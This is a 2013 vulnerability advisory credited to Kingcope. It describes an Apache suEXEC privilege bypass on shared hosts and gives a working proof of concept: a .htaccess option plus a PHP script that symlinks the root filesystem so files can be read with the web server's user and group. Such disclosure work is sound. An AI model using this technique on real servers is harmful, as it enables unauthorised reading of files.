Apache suEXEC privilege elevation / information disclosure

2013.08.07
Credit: Kingcope
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Apache suEXEC privilege elevation / information disclosure Discovered by Kingcope/Aug 2013 The suEXEC feature provides Apache users the ability to run CGI and SSI programs under user IDs different from the user ID of the calling web server. Normally, when a CGI or SSI program executes, it runs as the same user who is running the web server. Used properly, this feature can reduce considerably the security risks involved with allowing users to develop and run private CGI or SSI programs. With this bug an attacker who is able to run php or cgi code inside a web hosting environment and the environment is configured to use suEXEC as a protection mechanism, he/she is able to read any file and directory on the file- system of the UNIX/Linux system with the user and group id of the apache web server. Normally php and cgi scripts are not allowed to read files with the apache user- id inside a suEXEC configured environment. Take for example this apache owned file and the php script that follows. $ ls -la /etc/testapache -rw------- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache only user www-data should be able to read this file. $ cat test.php <?php system("id; cat /etc/testapache"); ?> When calling the php file using a webbrowser it will show... uid=1002(example) gid=1002(example) groups=1002(example) because the php script is run trough suEXEC. The script will not output the file requested because of a permissions error. Now if we create a .htaccess file with the content... Options Indexes FollowSymLinks and a php script with the content... <?php system("ln -sf / test99.php"); symlink("/", "test99.php"); // try builtin function in case when //system() is blocked ?> in the same folder ..we can access the root filesystem with the apache uid,gid by requesting test99.php. The above php script will simply create a symbolic link to '/'. A request to test99.php/etc/testapache done with a web browser shows.. voila! read with the apache uid/gid The reason we can now read out any files and traverse directories owned by the apache user is because apache httpd displays symlinks and directory listings without querying suEXEC. It is not possible to write to files in this case. Version notes. Assumed is that all Apache versions are affected by this bug. apache2 -V Server version: Apache/2.2.22 (Debian) Server built: Mar 4 2013 21:32:32 Server's Module Magic Number: 20051115:30 Server loaded: APR 1.4.6, APR-Util 1.4.1 Compiled using: APR 1.4.6, APR-Util 1.4.1 Architecture: 32-bit Server MPM: Worker threaded: yes (fixed thread count) forked: yes (variable process count) Server compiled with.... -D APACHE_MPM_DIR="server/mpm/worker" -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_SYSVSEM_SERIALIZE -D APR_USE_PTHREAD_SERIALIZE -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D DYNAMIC_MODULE_LIMIT=128 -D HTTPD_ROOT="/etc/apache2" -D SUEXEC_BIN="/usr/lib/apache2/suexec" -D DEFAULT_PIDLOG="/var/run/apache2.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_ERRORLOG="logs/error_log" -D AP_TYPES_CONFIG_FILE="mime.types" -D SERVER_CONFIG_FILE="apache2.conf" Cheers, /Kingcope

References:

http://docs.cpanel.net/twiki/bin/vief/EasyApache/Apache/SymlinkPatch#Frequently%20Asked%20Questions


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